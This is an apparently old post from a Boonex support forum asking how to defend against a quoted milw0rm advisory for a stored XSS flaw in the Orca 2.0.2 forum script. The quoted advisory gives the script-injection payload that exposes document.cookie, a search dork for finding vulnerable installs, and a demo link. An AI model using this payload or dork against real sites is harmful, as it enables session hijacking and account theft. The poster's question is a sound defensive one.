<script>alert Hack

I have just searched the forums for "<script>alert".  There is nothing.

What is the defense for the following exploit?

http://milw0rm.com/exploits/7931


--------------------------------------------------------------------------\
[+]  Script : Orca-v.2.0.2
[+]  Bug: Xss
[+]  By: J-Hacker || Jerusalem Hacker || From : soqor.net
[+]  Email : M0t4z@hotmail.com
[+]  Download : http://www.boonex.com/thankyou.php?p=Orca-v.2.0
[+]  D0rk :Powered by Orca Interactive Forum Script. Copyright 2008 My Company
--------------------------------------------------------------------------
First you must login then write new topic
write in the topic
"><script>alert(document.cookie)</script>
demo: http://www.demozzz.com/orca/demo/?action=goto&topic_id=test--2009-01-30#topic/-script-alert-document-cookie-script-.htm
--------------------------------------------------------------------------
[+] Greetz : HACKERS PAL , Sp1d3r_Net , Mr.5rab , Dr.CriMiNAL SyRiA , And All soqor.net members
[+] http://WwW.SoQoR.NeT
--------------------------------------------------------------------------/

# milw0rm.com [2009-01-30]

Quote · 15 Feb 2009
 
 
Below is the legacy version of the Boonex site, maintained for Dolphin.Pro 7.x support.
The new Dolphin solution is powered by UNA Community Management System.